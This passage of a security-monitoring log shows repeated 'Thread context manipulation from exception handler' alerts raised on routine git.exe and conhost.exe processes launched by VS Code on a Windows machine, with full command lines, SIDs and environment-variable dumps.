Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:25+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 77 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.8883462 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 428cc4000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5720b080, name➜ git.exe, pid➜ 12872, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.8883462 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:25+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 78 + Pid: 17992 + Tid: 11740 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.8883874 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 4638aa000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f574be080, name➜ conhost.exe, pid➜ 1936, ppid➜ 17992, real_ppid➜ 17992, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.8883874 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17992 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:25+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 81 + Pid: 12872 + Tid: 7544 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.895966 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 30cd3000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f577be080, name➜ conhost.exe, pid➜ 18060, ppid➜ 12872, real_ppid➜ 12872, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.895966 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 12872 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:25+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 83 + Pid: 17992 + Tid: 11740 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.9274822 +0100 CET + Params: cmdline➜ git.exe status -z -uall, directory_table_base➜ 1c2c96000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5746b080, name➜ git.exe, pid➜ 17360, ppid➜ 17992, real_ppid➜ 17992, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.9274822 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17992 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:25+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 85 + Pid: 12872 + Tid: 7544 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.9345315 +0100 CET + Params: cmdline➜ git.exe for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 1d414000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57238080, name➜ git.exe, pid➜ 10584, ppid➜ 12872, real_ppid➜ 12872, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.9345315 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 12872 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:25+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 87 + Pid: 17360 + Tid: 4432 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.9918994 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 17fbb9000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57488080, name➜ git.exe, pid➜ 15948, ppid➜ 17360, real_ppid➜ 17360, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.9918994 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17360 + Ppid: 17992 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:25+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 90 + Pid: 17360 + Tid: 4432 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:24.0318807 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 17f77f000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f575aa080, name➜ git.exe, pid➜ 9480, ppid➜ 17360, real_ppid➜ 17360, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:24.0318807 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17360 + Ppid: 17992 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 99 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.8285286 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" show --textconv :cmd/server/main.go, directory_table_base➜ 17d3dd000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5734f080, name➜ git.exe, pid➜ 5928, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.8285286 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program 